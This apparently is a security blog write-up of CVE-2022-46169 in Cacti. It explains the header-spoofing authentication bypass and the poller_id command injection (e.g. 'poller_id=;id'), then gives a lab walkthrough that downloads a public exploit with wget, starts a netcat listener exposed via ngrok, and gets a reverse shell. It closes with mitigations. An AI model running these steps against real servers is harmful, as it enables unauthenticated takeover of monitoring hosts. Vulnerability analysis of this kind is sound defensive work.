Cacti’s Thorn: Unveiling the CVE-2022-46169 Vulnerability

July 1, 2024

Overview

Cacti is a widely used open-source network monitoring and graphing tool, leveraging the Round Robin Database Tool (RRDTool) to facilitate a robust fault management framework. Cacti offers a robust and resilient data collection framework, complete with advanced template-based automation for Devices, Graphs, and Trees. It supports various data acquisition methods and can be extended through Plugins. Additionally, it features Role-based User, Group, and Domain management, a theming engine, and multilingual support, all available right out of the box. Cacti enables users to poll services at set intervals and visualize the collected data through graphs.

A critical vulnerability, identified as CVE-2022-46169, has been disclosed in Cacti versions 1.2.22 and below. This flaw allows remote attackers to execute arbitrary code on affected Cacti servers. The vulnerability is exploited through the remote_client_authorized function in the cacti/remote_agent.php script, which is responsible for verifying a client's authorization to access the Cacti server.

With a CVSS Score of 9.8 this vulnerability allows unauthenticated attackers to execute arbitrary code on a server running Cacti.

Technical Details

Authentication Bypass: While the remote_agent.php script is designed to grant access solely to authorized clients, an authentication bypass vulnerability exists due to an insecure implementation of hostname-based checks, prevalent in many Cacti installations. Initially, the script includes an authentication check at its outset.


// ...
if (!remote_client_authorized()) {
   print 'FATAL: You are not authorized to use this service';
   exit;
}

However, the flaw lies in the remote_client_authorized() function, which retrieves the

client's IP address, resolves it to a hostname, and cross-references it with the poller table for validation. 

The vulnerability stems from the get_client_addr() function, which relies on several $_SERVER variables, including those that can be manipulated by attackers. By crafting a customized header (e.g., Forwarded-For: <Target IP>), attackers can circumvent authentication and obtain the server's IP address. Notably, the presence of a default entry in the poller table allows the resolved hostname to pass the validation process.

Command Injection Vulnerability: After bypassing authorization, attackers can trigger actions such as "polldata". The vulnerable function, poll_for_data, fetches request parameters and loads corresponding entries from the poller_item table in the database. If the action of a poller_item matches POLLER_ACTION_SCRIPT_PHP, the function utilizes proc_open to execute a PHP script. The user-controllable parameter $poller_id, retrieved via the get_nfilter_request_var function, allows for arbitrary strings. This parameter is then inserted into the command string passed to proc_open, resulting in a command injection vulnerability. For instance, an attacker could provide poller_id=;id to execute the id command. 


function poll_for_data() {
   $host_id        = get_filter_request_var('host_id');
   $poller_id      = get_nfilter_request_var('poller_id');
   // ...
   $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
}

Exploitation

We have set up a lab for this vulnerability and the application running on 10.122.0.8. To identify the version of this application, we can simply visit the page which already disclosed the version number.

To leverage this vulnerability, we can use an exploit written by ariyaadinatha, a github user. This exploit can be found here.

  1. Download the Exploit Script:some text
    • Using the following command to download the exploit script:

wget https://raw.githubusercontent.com/ariyaadinatha/cacti-cve-2022-46169-exploit/main/cacti.py
  1. Start a Netcat Listener:some text
    • In another terminal, start a Netcat listener using the command:
      nc -lvnp 9000
  2. Configure ngrok with Netcat:some text
    • Use ngrok to expose your local Netcat listener to the internet.
    • You’ll need to configure ngrok to forward traffic to your Netcat listener (on port 9000 in this case). Simply run: ngrok tcp 9000
  3. Run the Exploit:some text
    • Execute the Python script you downloaded earlier:

python3 cacti.py
  • The script will prompt you for the target address (e.g., http://10.122.0.8:8080).
  • Then provide your ngrok address (e.g.,  your-ngrok-subdomain.ngrok.io).
  • Specify the port (ngrok port) as well.
  • If successful, the exploit may establish a reverse shell connection to your Netcat listener.

Mitigation: 

  • Upgrade to cacti version 1.2.23 or 1.3.0 or more.
  • Restrict network access to authorized clients only.
  • Use firewalls, intrusion detection systems and look out for indicators of compromise.

References: